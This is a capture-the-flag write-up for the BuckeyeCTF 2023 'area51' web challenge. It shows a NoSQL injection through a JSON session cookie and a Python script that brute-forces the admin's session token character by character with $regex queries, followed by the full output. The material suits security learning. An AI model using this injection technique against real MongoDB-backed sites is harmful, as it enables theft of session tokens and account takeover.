Post

BuckeyeCTF 2023 - area51

Description

Category: Web

Author: rene

Area51 Raid Luxury Consultation Services

https://area51.chall.pwnoh.io

Attachments:

Resolution

1. Overview

First we search where the flag is stored:

1
2
3
4
$ grep -rna FLAG
init_users.js:3:db.users.insert( { username: "AlienAdmin", password: "WackaWacka", admin: true, session: FLAG} )
entrypoint.sh:14:mongo area51 --eval "var FLAG = '$FLAG'" /init_users.js
Dockerfile:30:ENV FLAG="bctf{FaK3_F1aG}"

Here the flag is stored in a database and is the session token of the account AlienAdmin.

The database used is MongoDB and the server is written with nodejs.

The classic attack is NoSQL injection but we need to find an entrypoint first.

2. Find an injection entrypoint

In area51/routes/index.js we can see two places where we can do an injection:

1
2
3
4
5
6
7
8
9
10
router.get('/', (req, res) => {
	var session = res.cookies.get("session");
	if (session) {
		session = JSON.parse(session);

		var token = session.token
		return User.find({
			session: token
		})
...
1
2
3
4
5
6
7
8
9
10
11
12
router.post('/api/login', (req, res) => {
	let { username, password } = req.body;
    
    console.log(username, password, typeof username)

	if (username && password && typeof username === 'string' && typeof password === 'string') {

		return User.find({ 
			username,
			password,
			admin: false
		})

The second one has a type check which prevents injection since injections are of type dictionnary (which is type of object).

However we can perform injection in the first one.

3. NoSQL injection

In the root endpoint, we can only inject token value in the session cookie.

Then this token is used to find a user that has this token value.

If the token is not valid (i.e none of the user in the database has this token value) then it will return the main page, otherwise we will see this page:

Logged

(I used the available account jumpyWidgeon1 from the init_users.js).

From init_users.js we know that the token of AlienAdmin is the flag.

Using NoSQL injection, we can guess the each character of the flag thanks to regex rules.

For example, by sending this session cookie in JSON format

{"session": '{"token": {"$regex": "^word"}}

the backend will search for a user that has a token starting with word.

And since we know the page we should see when the token really exists, we can guess each character until we completely reconstruct the flag.

In the regex rule we need to find the token that starts with bctf{ and not just b because we might target the wrong one since there are many tokens that also starts with b.

Here is the implementation in Python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string

# HTML content if we logged in successfully
valid = b'<!DOCTYPE html>\n<html>\n<head>\n<title>Pardon our dust</title>\n<meta charset="UTF-8">\n<meta name="viewport" content="width=device-width, initial-scale=1">\n</head>\n<body>\n\n<img src="/images/pardon.webp"></img>\n<p>Pardon our dust</p>\n<p>We\'re working to make this site better! Come back later for an amazing Area51 experience!</p>\n\n<marquee><h1>Thank you for understanding!</h1></marquee>\n\n</body>'

alphabet = string.ascii_letters + string.digits + "_{}"

flag = "bctf{"

while flag[-1] != "}":
    for c in alphabet:
        cookies = {"session": '{"token": {"$regex": "^'+flag+c+'"}}'}
        r = requests.get("https://area51.chall.pwnoh.io/", cookies=cookies)

        if r.content == valid:
            flag += c
            print(flag)
            break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
bctf{t
bctf{tH
bctf{tH3
bctf{tH3y
bctf{tH3yR
bctf{tH3yR3
bctf{tH3yR3_
bctf{tH3yR3_U
bctf{tH3yR3_Us
bctf{tH3yR3_Us1
bctf{tH3yR3_Us1n
bctf{tH3yR3_Us1nG
bctf{tH3yR3_Us1nG_
bctf{tH3yR3_Us1nG_C
bctf{tH3yR3_Us1nG_Ch
bctf{tH3yR3_Us1nG_Ch3
bctf{tH3yR3_Us1nG_Ch3M
bctf{tH3yR3_Us1nG_Ch3M1
bctf{tH3yR3_Us1nG_Ch3M1C
bctf{tH3yR3_Us1nG_Ch3M1Ca
bctf{tH3yR3_Us1nG_Ch3M1CaS
bctf{tH3yR3_Us1nG_Ch3M1CaS_
bctf{tH3yR3_Us1nG_Ch3M1CaS_T
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_M
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_Ma
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_T
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0g
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_G
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GA
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GAy
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GAy}

bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GAy}

This post is licensed under CC BY 4.0 by the author.